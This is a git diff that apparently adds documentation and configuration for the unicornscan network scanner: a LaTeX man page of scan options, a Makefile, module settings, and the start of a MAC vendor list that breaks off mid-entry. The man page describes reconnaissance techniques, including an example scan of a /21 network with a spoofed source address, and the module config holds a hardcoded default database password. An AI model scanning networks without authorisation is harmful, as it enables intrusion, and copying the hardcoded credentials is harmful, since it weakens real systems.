zK2@P)C-C5qoDu0vGa}nFm%F2WU@oy)gvVnv9EJFm>Ng`SH$%*?d(;`PA6F=$gU1B< zXZpcW?+0S3RgC$t-N9ckd2%_=`n${lpW%1&eS?ZAc3#rjYfWh_mOV;RVl|vVP z$x@~DAR4Laetj_`!9j@$tvZ?Y-IVX z?FV(TeK(zKZn~NT7@t_vl|8=sy=b!Tb#`9hwRJvT8iUu4>!uXdO5WeqAGi&&i!-e; zOr3W{xy=_|Oug`$GB;!xk{3I8$=|HHdwA4C z?fmv4cznLTHQvka^nR%EBr2gNa-?e4;737@Yq8f}va&EC;Y}+##C-I%TI#)}Lk<7g zWb!l9ytZyOi#Ms&4h;_O4d(Kdx$KT;p=ObhdT&q{ zg)WCdNh8{Pv&o4-=Zju^Z`ik|JNEn;1IzJYfrewcEz&V@(#ItU^-loq z&`+4zF&Ghh*Z8%9D(v9K{CUrv7pm*5U6I#_aL#omzd6mJZ07OGTV z-n8g=t*%x4898~4RT1dFYY=t2iW6vVS&${1-ZO0G9(|TF#!0b?Y z<1SmEu_2AH2j}EOU#I6i_5_p5hjR8`hbtrVA_OQ0?0XUlc0U9#mN{kY=x->}NF_(? zvhp-O_xX^qQ5+Zk^rJTI+L7x}Ceku?-76q=d+H7N{w_f=@<|ig<~}=%U&+{XtxcO{ z2p9X#cTK}?m2VDaL#fVBEo8DM&^3n)HK^+f7Xv)4RAj<LuVdTCg z>IB*A0K+T@m-H+SDra-5M1CwM9}I*_J2VJ++VJ^QdcN8ZNf4x1FxfFSUDLX;&flyn z12)gjbm$w=h-W{S$eI}~TT#Iy|Ll9}BFpUVkokJj#pxWeEST|Gw>P7wiAQZ{nr33| z(6M1ZoLG!!SqMKwd?9JXZ>)F0C3?kRee+Eo63`j97KIU6q;3$+?7j;pPB1dAGc6mJ z6H=N@^p#el9bJIBW*aXp`mW|ORL|jPeV*hNA4`A;xvY~ewd8k$BuYt(TZ}z-KKLw% zCtY8?{NDQg68n;c;F}f*Vts3S$12o4Nd!nf-|{uOQ!_ zgGY%c|00+W!7IA?|Lw^ucqO^~^~sM?-u{07^7_x*pDhWZX5r8L|9$$(H>y3pDi><6a(c!p-eF9E%5VtW%(Bc{fp@Sp&>@e%J@*M`4%Db}~%QD~9^_HN@ ziNBoJlM;LhZU(VkYs>%MJcma4m;uu~gE+bg=N#UZGOK=#{}RuNEjTboMoOEfmjd*W zHxI3Z(=y_k*o~%;X+O;ecQ&}5FD+iSj%?50r4XCGN%vjn!Z!ATD~hOTF7HxDis1U& z=h9^N<=aA-TDG%tni}hkf(>sm&mI;E(?oSbf8a`Zkp!LJXu(RJm67JeQ|vgxn6~rd zIpQE9D``x=zrUG)waP|rg7dO}uyOgA%1g_m#>7!NGHwc&hj~r+ zUGy0?&dygZCQLf65s*G*ETNP!!<33uvSX)zz-RcD=us>BEp+@ajQgy;Ji4J$Oz(@( z3e)5;rsc?HKDy@Tp=%O=L1^cEXB;g_WNx(Z(%nlYpj|9_v@^le@ETk6m{4HjE3P{{tq|nVw=nDP?P1qV zvb#GIGai&T^uHqc`085;PRv01`**p+!HW7;D_HcS`vK<}15SJPKd>05vVOp)b1IMT zysUrG>bnKKZt~QmYbriPh)~@&)}h|Y(l4rzz3pB&Wt)<=>Mdc8muaKz^aN8h{YYMxntsTBkh82pf1`hxQ#Aa2dFH08QcZ(Q1! zdPQgM_19Q&9*R<(_zlC+4#J4qgYHCY+z##rA1;^oC-^MeufxP)Ny079-1f!z<(Yfj zsL$LL+SC)3G>zWDgr!^~?zr}^cXO3S`qRr?of z^W#@vMyyvT$w?08o8;TVtLBXe!&dU=7h0RgeTAN1&)%*z&^8(~Y8|BxAJywv7#p<{ zAXO?J`gO zW&(5q?dMxBgZX_d&cY^->9pcgjGYl}WG{#D${_}^?-&;I_L(2~JAGi0`p^(pqRlHA zXR0?6>?(C`Xxd*)6#iNKV87@Zrp#Mh=uoi)0Sa){I|r|f(c7m|)z47Bm+;PX4UIHi z?D2b{nR^uC<)pxRc55=`~Bbq{| z&)p5$N|^^+eD~$v@9rP@nB#HUVm77@N&AhWj{n%wTYm!oqWfta&@ zTtrXLoquOUn3IYZ11H_MAO}xub^{@n1fn9jDS9Ye+2Ef;G-a z>vkxW{?sqMu|Q9o z_tOHOTfL5ocYDaJZ{D0sC}JAIK+*3tV);*KgO4RbI1gN919b7E46L0RPQ1_ zGvggPP)e38Z8r)!KP*huEB6hG#=(}G$}0^J094^o5r-X=3>7??9O)KYRw}o?N9FU6 zCLL?Pc3GVIE*Hd5C|b|7k673n;Bo$1hDjQNoV9LH#W9LgTG3HP4JErd1`1l)lpaWZMbB>vGGOq0_H@P><`}Ck5k?a5)ijL zBVWExFk9gFY$zt^k3G}+)*w9*cz8{Nlz)gqj_TxH1;_QfuHPOv9gGN_Ceei7XdEV+ zioxvfqwB#x$BH_=0T*pcOTR0f**Zx?tfxKVa3Pj-K?hbw$a#t_e1}bhYua~k8 zO)ai?jSp9?#-y*=>iI7?B(A+OYmk{{kHTG&;8-9yzn57vv4=>CO8lzo#^PKX9XK}n zl(z_nI8o2M(Xb|<=yUzfZEhrkwb+vxSg!I@;UR~uq`S6x2756H{@>qd&LXt6tzhy_ z?<>$v?|UnDo;>4G$e%{fgi!6ErN!Q9HW=~w`k{_Gc%{Z6^>LM{^B`bT8@i(5{Y*%- zB3)WSDE6U{*d$QIB@9n3(I*XJn^+RDrEg8$%q#9Bcp(3ZOfaG^TPosXthq=~ zp=|2TFe*+4g+5+?V*#Vw+1Y}`-to2ea_u1f-swCCR^Eg0e4?Eifd)V`{As2}U+`0* z5UsA7J5bNL>U*g#MmVb&{JVJBQ*Qc+732nnAm3&N92lM3#Aws41YkSf7pN{1mKMZY z)8@hT_NhlQqNz-{zM4=3GDVk0ZMp~U`+i(n=G`J&aX%XU&|?w%U~)#{^hbFNN;qh0 z_2eO!FqyXhojR4KFhttIQNWj?Lk7X=;WTrz2`=in#dnG1!t=l*k<8>*9<{VL!n6RJ zXL`oo%i{sh>1&D4h7b)3{-q#i?o$s7VLGnHlH$1UhWtMLQ};l(CQhpRYCa>vs%)QL zKCK_h+%wRLTiYBWBh!c9`Z8=&;8$-8Z|8>4%&pgqr-&iMTCn)zUX?4S-p*b17kcw4 z@Srx{l~RLq53-YVtG%YIK>W_LtxP$iHM9~MAf!tZucQ{(Doe!onhP5%jun8 zkBQT*b<%u^XW36T2^v{4?BNex%-ll!r+ zOt3b-3L1a#T>(~fv1I}izeu<0Q~{;^AZX4WEElhTs+FD#|Jtg)7T@bbU!yy^tu*Pk z`A*K?s;J2M^A03&&+^SysBU*@cb1#XlLD`!{Wazf{e(_FsLNdw}E89pW#3yGKQ=-YLzq^bY_ z7c|vR+!hf1um%UZ#=OR+o+=wnro!(o+Lyk4QW%&sch~*FYi0;SkxYc&<6RtWT0qv) zVqFhajuRc&X>>i4n2>V@?C-h#ac@Reqqa>q(1VOdXOliW;)%tL;Iul^2mCg(7JQ|B@*DQvvlS zQTW9O{vZkl3R=3F8b65w3OxLq0P2^t>hEB}tNi~RQ9uELzvWN=Z0o-y3J}y0^lzeo z5=H$<6n=`IctFDZ5Rf4MRXpW?t9|-g^W^X|Htnytv_FBtFD=;LV?&*#{{jZQklzRG z|MypZ$Q3~1=eb(+U!SOhJW7uByAQvvSC(HTQ3reoKk6;~^Ll0f*8%^hSnBuc{MtBI zQLD(SuvK@I7!8GIRN>aBK+m7iqyGpw`%@wHtEMazrA>22g^2!i@jGG_(A1STipH~pf%Y#b(>D~(g zv%y1=8Xi2Je?33~5D1E&*noc9_=QlNxO#w`{$=A6M6Lh7*?4&Vy&RZdSQw>$`$svH z7LOlAnEq+w7rIiT{nN%HbR|Iihm8jnBK#k1@Ccw3ZU0^lf{Oe7Hyap&Qo;S34Z?S& z&%1j3YiwZ1&yDpD8xIde=s(*KL~X5qs|)54_>Xa*y7FJNA@Cn{A&@I-_Pbp-1QaDT zMBrV;uQQw3skcSFiha%j5t|u5GARvgx%q*{= HfcJj@SiuUp literal 0 HcmV?d00001 diff --git a/docs/unicornscan.tex b/docs/unicornscan.tex new file mode 100644 index 0000000..4a5f017 --- /dev/null +++ b/docs/unicornscan.tex @@ -0,0 +1,12 @@ +\documentclass[12pt]{article} +% im a banana +\title{unicornscan, the cruicial one} +\author{jack} +\begin{document} +% the spoon is too big +\maketitle +\section{sections} +stuff... +\section{hey there, im another section} +\ldots{} +\end{document} diff --git a/docs/unicornscan_man.tex b/docs/unicornscan_man.tex new file mode 100644 index 0000000..56fe9e5 --- /dev/null +++ b/docs/unicornscan_man.tex @@ -0,0 +1,207 @@ +\documentclass[english]{article} + +\usepackage[latin1]{inputenc} +\usepackage{latex2man} +\usepackage{babel} +\usepackage{verbatim} + +\input{vars.tex} + +\setDate{03/30/05} +\setVersion{0.4.6b} + +\begin{document} + +% \begin{Name}{chapter}{name}{author}{info}{title} +\begin{Name}{1}{unicornscan}{Jack}{Network Tools}{unicornscan command documentation} +%%%%%%%%%% + +\Prog{unicornscan} Version \Version\ is a asynchronous network stimulus delivery/response recoring +tool. + +\end{Name} + +\section{Synopsis} +%%%%%%%%%% + +\Prog{unicornscan} +\oOptArg{-b, --broken-crc }{layer} +\oOptArg{-B, --source-port }{port} +\oOptArg{-d, --delay-type }{type} + \oOpt{-D, --no-defpayload } +\oOptArg{-e, --enable-module }{modules} + \oOpt{-E, --proc-errors } + \oOpt{-F, --try-frags } +\oOptArg{-G, --payload-group }{group} + \oOpt{-h, --help } + \oOpt{-H, --do-dns } +\oOptArg{-i, --interface }{interface} + \oOpt{-I, --immediate } +\oOptArg{-j, --ignore-seq }{ignore} +\oOptArg{-l, --logfile }{file} +\oOptArg{-L, --packet-timeout}{delay} +\oOptArg{-m, --mode }{mode} +\oOptArg{-M, --module-dir }{directory} +\oOptArg{-p, --ports }{string} +\oOptArg{-P, --pcap-filter }{filter} +\oOptArg{-q, --covertness }{covertness} + \oOpt{-Q, --quiet } +\oOptArg{-r, --pps }{rate} +\oOptArg{-R, --repeats }{repeats} +\oOptArg{-s, --source-addr }{address} + \oOpt{-S, --no-shuffle } +\oOptArg{-t, --ip-ttl }{TTL} +\oOptArg{-T, --ip-tos }{TOS} +\oOptArg{-w, --safefile }{file} +\oOptArg{-W, --fingerprint }{fingerprint} + \oOpt{-v, --verbose } + \oOpt{-V, --version } + \oOpt{-z, --sniff } +\oOptArg{-Z, --drone-type }{type} + \Arg{target list} + +\section{Description} +%%%%%%%%%% + +\Prog{unicornscan}: + ... + +\section{Options} +%%%%%%%%%% +\begin{Description} +\item[\oOptArg{-b, --broken-crc }{Layer}] +Break CRC sums on the following layers. N and T are valid, and both may be used without separator, +so NT would indicate both Network and Transport layers are to have invalid checksums. +\item[\oOptArg{-B, --source-port }{Port}] +Source port for sent packets, numeric value -1 means to use a random source port (the default situation), +and other valid settings are 0 to 65535. normally this option will not be used, but sometimes it is useful to say +scan from port 53 into a network. +\item[\oOptArg{-d, --delay-type }{Type}] +Specify the timer used for pps calculations, the default is variable and will try and use something appropriate +for the rate you have selected. Note however, if available, the tsc timer and the gtod timer are very CPU intensive. +if you require unicornscan to not monopolize your system while running, consider using the sleep timer, normally 3. +it has been observed that the tsc timer and gtod timer are required for high packet rates, however this is highly +system dependent, and should be tested on each hardware/platform combination. The tsc timer may not be available +on every cpu. The sleep timer module is not recommended for scans where utmost accuracy is required. +\item[\oOpt{-D, --no-defpayload }] +Do not use default payloads when one cannot be found. +\item[\oOptArg{-e, --enable-module }{List}] +A comma separated list of modules to activate (note: payload modules do not require explicit activation, as they are +enabled by default). an example would be `pgsqldb,foomod'. +\item[ \oOpt{-E, --proc-errors }] +Enable processing of errors such as icmp error messages and reset+ack messages (for example). If this option is set +then you will see responses that may or may not indicate the presence of a firewall, or other otherwise missed +information. +\item[ \oOpt{-F, --try-frags }] +It is likely that this option doesn't work, don't bother using it until it is fixed. +\item[\oOptArg{-G, --payload-group }{Group}] +activate payloads only from this numeric payload group. The default payload group is 1. +\item[ \oOpt{-h, --help }] +if you don't know what this means, perhaps you should consider not using this program. +\item[ \oOpt{-H, --do-dns }] +Resolve dns hostnames before and after the scan (but not during, as that would likely cause superfluous spurious +responses during the scan, especially if udp scanning). the hosts that will be resolved are (in order of resolution) +the low and high addresses of the range, and finally each host address that replied with something that would be +visible depending on other scan options. This option is not recommended for use during scans where utmost accuracy +is required. +\item[\oOptArg{-i, --interface }{Interface}] +string representation of the interface to use, overriding automatic detection. +\item[ \oOpt{-I, --immediate }] +Display results immediately as they are found in a sort of meta report format (read: terse). This option is not +recommended for use during scans where the utmost accuracy is required. +\item[\oOptArg{-j, --ignore-seq }{Type}] +A string representing the intended sequence ignorance level. This affects the tcp header validity checking, normally +used to filter noise from the scan. If for example you wish to see reset packets with an ack+seq that is not set +or perhaps intended for something else appropriate use of this option would be R. A is normally used for more exotic +tcp scanning. normally the R option is associated with reset scanning. +\item[\oOptArg{-l, --logfile }{File}] +Path to a file where flat text will be dumped that normally would go to the users terminal. A limitation of this option +currently is that it only logs the output of the `Main' thread and not the sender and receiver. +\item[\oOptArg{-L, --packet-timeout }{Seconds}] +Numeric value representing the number of seconds to wait before declaring the scan over. for connect scans sometimes +this option can be adjusted to get more accurate results, or if scanning a high-latency target network; for example. +\item[\oOptArg{-m, --mode }{Mode}] +String representation of the desired scanning mode. Correct usage includes U, T, A and sf for Udp scanning, Tcp scanning, Arp scanning, and Tcp Connect scanning respectively. +\item[\oOptArg{-M, --module-dir }{Directory}] +Path to a directory containing shared object `modules' for unicornscan to search. +\item[\oOptArg{-p, --ports }{Ports}] +A global list of ports to scan, can be overridden in the target specification on a per target basis. +\item[\oOptArg{-P, --pcap-filter }{Filter}] +A pcap filter string to add to the listeners default pcap filter (that will be associated with the scan mode being used). +\item[\oOptArg{-c, --covertness }{Level}] +Numeric option that currently does nothing, except look cool. +\item[ \oOpt{-Q, --quiet }] +This option is intended to make unicornscan play the `quiet game'. If you are unfamiliar with its rules, consult with +someone else who finds you irritating. +\item[\oOptArg{-r, --pps }{Rate}] +This is arguably the most important option, it is a numeric option containing the desired packets per second for the +sender to use. choosing a rate too high will cause your scan results to be incomplete. choosing a rate too low will +likely make you feel as though you are using nmap. +\item[\oOptArg{-R, --repeats }{Times}] +The number of times to completely repeat the senders workload, this option is intended to improve accuracy during +critical scans, or with scans going over a highly unreliable network. +\item[\oOptArg{-s, --source-addr }{Address}] +The address to use to override the listeners default interfaces address. using this option often necessitates using +the helper program \Cmd{fantaip}{1} to make sure the replies are routed back to the interface the listener has open. +\item[ \oOpt{-S, --no-shuffle }] +.. +\item[\oOptArg{-t, --ip-ttl }{Number}] +.. +\item[\oOptArg{-T, --ip-tos }{Number}] +.. +\item[\oOptArg{-w, --savefile }{File}] +.. +\item[\oOptArg{-W, --fingerprint }{Type}] +.. +\item[ \oOpt{-v, --verbose }] +.. +\item[ \oOpt{-V, --version }] +.. +\item[ \oOpt{-z, --sniff }] +.. +\item[\oOptArg{-Z, --drone-type }{Type}] +.. +\end{Description} + +\section{Examples} +%%%%%%%%%% +\begin{Description} +\textbf{unicornscan -msf -s 5.4.3.2 -r 340 -Iv -epgsqldb www.domain.tld/21:80,8080,443,81} +runs unicornscan in connect mode with an apparent (to the target) source address of 5.4.3.2 at a rate +of 340 packets per second. results will be displayed as they are found \emph{-I} and the output +will be verbose \emph{-v}. The module `pgsqldb' will be activated \emph{-epgsqldb} and +the target of this scan will be the /21 network that host www.domain.tld belongs to making attempts +to connect to port 80, 8080, 443 and 81. +\end{Description} + +\section{Files} +%%%%%%%%%% +\begin{Description} +\item[\File{unicorn.conf}] The file containing the default configuration options for usage. +\item[\File{modules.conf}] The default file for module parameters. +\item[\File{oui.txt}] Contains the MAC prefix to vendor mapping used in Ethernet scanning. +\item[\File{payloads.conf}] The default file for tcp and udp payloads. +\item[\File{ports.txt}] The protocol/port number to name mapping. +\end{Description} + +\section{See Also} +%%%%%%%%%% +\Cmd{fantaip}{1} \Cmd{unicfgtst}{1} \Cmd{unicycle}{1} \Cmd{unibrow}{1} \Cmd{unicorn.conf}{5} + +\section{Reporting Bugs} +%%%%%%%%%% +\begin{description} +Report Bugs to osace-users@lists.sourceforge.net +\end{description} + +\section{Copyright} +%%%%%%%%%% +\begin{description} +\copyright\ 2004 Jack Louis \Email{jack@rapturesecurity.org} +This is free software; see the source for copying conditions. There is NO warranty; not even for +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +\end{description} + +\LatexManEnd + +\end{document} diff --git a/docs/unicycle_man.tex b/docs/unicycle_man.tex new file mode 100644 index 0000000..e69de29 diff --git a/docs/vars.tex b/docs/vars.tex new file mode 100644 index 0000000..5854710 --- /dev/null +++ b/docs/vars.tex @@ -0,0 +1,2 @@ +% kekekekekekee +\newcommand{\Sysconfdir}{/usr/local/etc} diff --git a/etc/Makefile.in b/etc/Makefile.in new file mode 100644 index 0000000..af4db49 --- /dev/null +++ b/etc/Makefile.in @@ -0,0 +1,25 @@ +include ../Makefile.inc + +all: + cat unicorn.conf.in | sed -e 's#@CONFDIR@#$(sysconfdir)/$(TARGETNAME)#g' -e 's#@MODDIR@#$(MODDIR)#g' > unicorn.conf + +install: all + mkdir -p $(DESTDIR)/$(sysconfdir)/$(TARGETNAME) + $(INSTALL_PROGRAM) modules.conf $(DESTDIR)/$(sysconfdir)/$(TARGETNAME) + $(INSTALL_PROGRAM) payloads.conf $(DESTDIR)/$(sysconfdir)/$(TARGETNAME) + $(INSTALL_PROGRAM) unicorn.conf $(DESTDIR)/$(sysconfdir)/$(TARGETNAME) + $(INSTALL_PROGRAM) oui.txt $(DESTDIR)/$(sysconfdir)/$(TARGETNAME) + $(INSTALL_PROGRAM) ports.txt $(DESTDIR)/$(sysconfdir)/$(TARGETNAME) + $(CHCON) -R system_u:object_r:unicornscan_share_t $(DESTDIR)/$(sysconfdir)/$(TARGETNAME) + +uninstall: + rm -f $(DESTDIR)/$(sysconfdir)/$(TARGETNAME)/modules.conf + rm -f $(DESTDIR)/$(sysconfdir)/$(TARGETNAME)/oui.conf + rm -f $(DESTDIR)/$(sysconfdir)/$(TARGETNAME)/payloads.conf + rm -f $(DESTDIR)/$(sysconfdir)/$(TARGETNAME)/port-numbers + rm -f $(DESTDIR)/$(sysconfdir)/$(TARGETNAME)/unicorn.conf + +clean: + +distclean: clean + rm -f unicorn.conf diff --git a/etc/modules.conf b/etc/modules.conf new file mode 100644 index 0000000..1da913d --- /dev/null +++ b/etc/modules.conf @@ -0,0 +1,28 @@ + +module "pgsqldb" { + dbconf: "user=scan password=scanit! host=localhost dbname=scan"; + logpacket: "true"; +}; + +module "mysqldb" { + username: "scan"; + password: "scanit!"; + hostname: "localhost"; + dbname: "foo"; +}; + +module "osdetect" { + /* Stim TCPFLG TTL DF WS TOS Misc */ + /* tcpopts type desc */ + + " ST6, SA, 64, 1, 32768, 0, TS0, " + "MSS1460:N:WS0:N:N:TS, NetBSD, NetBSD_2.?_Generic "; + + " ST6, SA, 64, 1, 5792, 0, none, " + "MSS1460:S:TS:N:WS2, Linux, Linux_2.6_newer "; + + " ST6, SA, 64, 1, 5792, 0, none, " + "MSS1460:S:TS:N:WS0, Linux, Linux_2.[46] "; + + dumpunknown: true; +}; diff --git a/etc/oui.txt b/etc/oui.txt new file mode 100644 index 0000000..6abb15d --- /dev/null +++ b/etc/oui.txt @@ -0,0 +1,7487 @@ +00-00-00:XEROX CORPORATION +00-00-01:XEROX CORPORATION +00-00-02:XEROX CORPORATION +00-00-03:XEROX CORPORATION +00-00-04:XEROX CORPORATION +00-00-05:XEROX CORPORATION +00-00-06:XEROX CORPORATION +00-00-07:XEROX CORPORATION +00-00-08:XEROX CORPORATION +00-00-09:XEROX CORPORATION +00-00-0A:OMRON TATEISI ELECTRONICS CO. +00-00-0B:MATRIX CORPORATION +00-00-0C:CISCO SYSTEMS, INC. +00-00-0D:FIBRONICS LTD. +00-00-0E:FUJITSU LIMITED +00-00-0F:NEXT, INC. +00-00-10:SYTEK INC. +00-00-11:NORMEREL SYSTEMES +00-00-12:INFORMATION TECHNOLOGY LIMITED +00-00-13:CAMEX +00-00-14:NETRONIX +00-00-15:DATAPOINT CORPORATION +00-00-16:DU PONT PIXEL SYSTEMS. +00-00-17:TEKELEC +00-00-18:WEBSTER COMPUTER CORPORATION +00-00-19:APPLIED DYNAMICS INTERNATIONAL +00-00-1A:ADVANCED MICRO DEVICES +00-00-1B:NOVELL INC. +00-00-1C:BELL TECHNOLOGIES +00-00-1D:CABLETRON SYSTEMS, INC. +00-00-1E:TELSIST INDUSTRIA ELECTRONICA +00-00-1F:Telco Systems, Inc. +00-00-20:DATAINDUSTRIER DIAB AB +00-00-21:SUREMAN COMP. & COMMUN. CORP. +00-00-22:VISUAL TECHNOLOGY INC. +00-00-23:ABB INDUSTRIAL SYSTEMS AB +00-00-24:CONNECT AS +00-00-25:RAMTEK CORP. +00-00-26:SHA-KEN CO., LTD. +00-00-27:JAPAN RADIO COMPANY +00-00-28:PRODIGY SYSTEMS CORPORATION +00-00-29:IMC NETWORKS CORP. +00-00-2A:TRW - SEDD/INP +00-00-2B:CRISP AUTOMATION, INC +00-00-2C:AUTOTOTE LIMITED +00-00-2D:CHROMATICS INC +00-00-2E:SOCIETE EVIRA +00-00-2F:TIMEPLEX INC. +00-00-30:VG LABORATORY SYSTEMS LTD +00-00-31:QPSX COMMUNICATIONS PTY LTD +00-00-32:Marconi plc +00-00-33:EGAN MACHINERY COMPANY +00-00-34:NETWORK RESOURCES CORPORATION +00-00-35:SPECTRAGRAPHICS CORPORATION +00-00-36:ATARI CORPORATION +00-00-37:OXFORD METRICS LIMITED +00-00-38:CSS LABS +00-00-39:TOSHIBA CORPORATION +00-00-3A:CHYRON CORPORATION +00-00-3B:i Controls, Inc. +00-00-3C:AUSPEX SYSTEMS INC. +00-00-3D:UNISYS +00-00-3E:SIMPACT +00-00-3F:SYNTREX, INC. +00-00-40:APPLICON, INC. +00-00-41:ICE CORPORATION +00-00-42:METIER MANAGEMENT SYSTEMS LTD. +00-00-43:MICRO TECHNOLOGY +00-00-44:CASTELLE CORPORATION +00-00-45:FORD AEROSPACE & COMM. CORP. +00-00-46:OLIVETTI NORTH AMERICA +00-00-47:NICOLET INSTRUMENTS CORP. +00-00-48:SEIKO EPSON CORPORATION +00-00-49:APRICOT COMPUTERS, LTD +00-00-4A:ADC CODENOLL TECHNOLOGY CORP. +00-00-4B:ICL DATA OY +00-00-4C:NEC CORPORATION +00-00-4D:DCI CORPORATION +00-00-4E:AMPEX CORPORATION +00-00-4F:LOGICRAFT, INC. +00-00-50:RADISYS CORPORATION +00-00-51:HOB ELECTRONIC GMBH & CO. KG +00-00-52:Intrusion.com, Inc. +00-00-53:COMPUCORP +00-00-54:MODICON, INC. +00-00-55:COMMISSARIAT A L`ENERGIE ATOM. +00-00-56:DR. B. STRUCK +00-00-57:SCITEX CORPORATION LTD. +00-00-58:RACORE COMPUTER PRODUCTS INC. +00-00-59:HELLIGE GMBH +00-00-5A:SysKonnect GmbH +00-00-5B:ELTEC ELEKTRONIK AG +00-00-5C:TELEMATICS INTERNATIONAL INC. +00-00-5D:CS TELECOM +00-00-5E:USC INFORMATION SCIENCES INST +00-00-5F:SUMITOMO ELECTRIC IND., LTD. +00-00-60:KONTRON ELEKTRONIK GMBH +00-00-61:GATEWAY COMMUNICATIONS +00-00-62:BULL HN INFORMATION SYSTEMS +00-00-63:DR.ING.SEUFERT GMBH +00-00-64:YOKOGAWA DIGITAL COMPUTER CORP +00-00-65:NETWORK ASSOCIATES, INC. +00-00-66:TALARIS SYSTEMS, INC. +00-00-67:SOFT * RITE, INC. +00-00-68:ROSEMOUNT CONTROLS +00-00-69:CONCORD COMMUNICATIONS INC +00-00-6A:COMPUTER CONSOLES INC. +00-00-6B:SILICON GRAPHICS INC./MIPS +00-00-6C:PRIVATE +00-00-6D:CRAY COMMUNICATIONS, LTD. +00-00-6E:ARTISOFT, INC. +00-00-6F:Madge Ltd. +00-00-70:HCL LIMITED +00-00-71:ADRA SYSTEMS INC. +00-00-72:MINIWARE TECHNOLOGY +00-00-73:SIECOR CORPORATION +00-00-74:RICOH COMPANY LTD. +00-00-75:Nortel Networks +00-00-76:ABEKAS VIDEO SYSTEM +00-00-77:INTERPHASE CORPORATION +00-00-78:LABTAM LIMITED +00-00-79:NETWORTH INCORPORATED +00-00-7A:DANA COMPUTER INC. +00-00-7B:RESEARCH MACHINES +00-00-7C:AMPERE INCORPORATED +00-00-7D:SUN MICROSYSTEMS, INC. +00-00-7E:CLUSTRIX CORPORATION +00-00-7F:LINOTYPE-HELL AG +00-00-80:CRAY COMMUNICATIONS A/S +00-00-81:BAY NETWORKS +00-00-82:LECTRA SYSTEMES SA +00-00-83:TADPOLE TECHNOLOGY PLC +00-00-84:SUPERNET +00-00-85:CANON INC. +00-00-86:MEGAHERTZ CORPORATION +00-00-87:HITACHI, LTD. +00-00-88:COMPUTER NETWORK TECH. CORP. +00-00-89:CAYMAN SYSTEMS INC. +00-00-8A:DATAHOUSE INFORMATION SYSTEMS +00-00-8B:INFOTRON +00-00-8C:Alloy Computer Products (Australia) Pty Ltd +00-00-8D:VERDIX CORPORATION +00-00-8E:SOLBOURNE COMPUTER, INC. +00-00-8F:RAYTHEON COMPANY +00-00-90:MICROCOM +00-00-91:ANRITSU CORPORATION +00-00-92:COGENT DATA TECHNOLOGIES +00-00-93:PROTEON INC. +00-00-94:ASANTE TECHNOLOGIES +00-00-95:SONY TEKTRONIX CORP. +00-00-96:MARCONI ELECTRONICS LTD. +00-00-97:EPOCH SYSTEMS +00-00-98:CROSSCOMM CORPORATION +00-00-99:MTX, INC. +00-00-9A:RC COMPUTER A/S +00-00-9B:INFORMATION INTERNATIONAL, INC +00-00-9C:ROLM MIL-SPEC COMPUTERS +00-00-9D:LOCUS COMPUTING CORPORATION +00-00-9E:MARLI S.A. +00-00-9F:AMERISTAR TECHNOLOGIES INC. +00-00-A0:TOKYO SANYO ELECTRIC CO. LTD. +00-00-A1:MARQUETTE ELECTRIC CO. +00-00-A2:BAY NETWORKS +00-00-A3:NETWORK APPLICATION TECHNOLOGY +00-00-A4:ACORN COMPUTERS LIMITED +00-00-A5:COMPATIBLE SYSTEMS CORP. +00-00-A6:NETWORK GENERAL CORPORATION +00-00-A7:NETWORK COMPUTING DEVICES INC. +00-00-A8:STRATUS COMPUTER INC. +00-00-A9:NETWORK SYSTEMS CORP. +00-00-AA:XEROX CORPORATION +00-00-AB:LOGIC MODELING CORPORATION +00-00-AC:CONWARE COMPUTER CONSULTING +00-00-AD:BRUKER INSTRUMENTS INC. +00-00-AE:DASSAULT ELECTRONIQUE +00-00-AF:NUCLEAR DATA INSTRUMENTATION +00-00-B0:RND-RAD NETWORK DEVICES +00-00-B1:ALPHA MICROSYSTEMS INC. +00-00-B2:TELEVIDEO SYSTEMS, INC. +00-00-B3:CIMLINC INCORPORATED +00-00-B4:EDIMAX COMPUTER COMPANY +00-00-B5:DATABILITY SOFTWARE SYS. INC. +00-00-B6:MICRO-MATIC RESEARCH +00-00-B7:DOVE COMPUTER CORPORATION +00-00-B8:SEIKOSHA CO., LTD. +00-00-B9:MCDONNELL DOUGLAS COMPUTER SYS +00-00-BA:SIIG, INC. +00-00-BB:TRI-DATA +00-00-BC:ALLEN-BRADLEY CO. INC. +00-00-BD:MITSUBISHI CABLE COMPANY +00-00-BE:THE NTI GROUP +00-00-BF:SYMMETRIC COMPUTER SYSTEMS +00-00-C0:WESTERN DIGITAL CORPORATION +00-00-C1:Madge Ltd. +00-00-C2:INFORMATION PRESENTATION TECH. +00-00-C3:HARRIS CORP COMPUTER SYS DIV +00-00-C4:WATERS DIV. OF MILLIPORE +00-00-C5:FARALLON COMPUTING/NETOPIA +00-00-C6:EON SYSTEMS +00-00-C7:ARIX CORPORATION +00-00-C8:ALTOS COMPUTER SYSTEMS +00-00-C9:EMULEX CORPORATION +00-00-CA:APPLITEK +00-00-CB:COMPU-SHACK ELECTRONIC GMBH +00-00-CC:DENSAN CO., LTD. +00-00-CD:Allied Telesyn Research Ltd. +00-00-CE:MEGADATA CORP. +00-00-CF:HAYES MICROCOMPUTER PRODUCTS +00-00-D0:DEVELCON ELECTRONICS LTD. +00-00-D1:ADAPTEC INCORPORATED +00-00-D2:SBE, INC. +00-00-D3:WANG LABORATORIES INC. +00-00-D4:PURE DATA LTD. +00-00-D5:MICROGNOSIS INTERNATIONAL +00-00-D6:PUNCH LINE HOLDING +00-00-D7:DARTMOUTH COLLEGE +00-00-D8:NOVELL, INC. +00-00-D9:NIPPON TELEGRAPH & TELEPHONE +00-00-DA:ATEX +00-00-DB:BRITISH TELECOMMUNICATIONS PLC +00-00-DC:HAYES MICROCOMPUTER PRODUCTS +00-00-DD:TCL INCORPORATED +00-00-DE:CETIA +00-00-DF:BELL & HOWELL PUB SYS DIV +00-00-E0:QUADRAM CORP. +00-00-E1:GRID SYSTEMS +00-00-E2:ACER TECHNOLOGIES CORP. +00-00-E3:INTEGRATED MICRO PRODUCTS LTD +00-00-E4:IN2 GROUPE INTERTECHNIQUE +00-00-E5:SIGMEX LTD. +00-00-E6:APTOR PRODUITS DE COMM INDUST +00-00-E7:STAR GATE TECHNOLOGIES +00-00-E8:ACCTON TECHNOLOGY CORP. +00-00-E9:ISICAD, INC. +00-00-EA:UPNOD AB +00-00-EB:MATSUSHITA COMM. IND. CO. LTD. +00-00-EC:MICROPROCESS +00-00-ED:APRIL +00-00-EE:NETWORK DESIGNERS, LTD. +00-00-EF:KTI +00-00-F0:SAMSUNG ELECTRONICS CO., LTD. +00-00-F1:MAGNA COMPUTER CORPORATION +00-00-F2:SPIDER COMMUNICATIONS 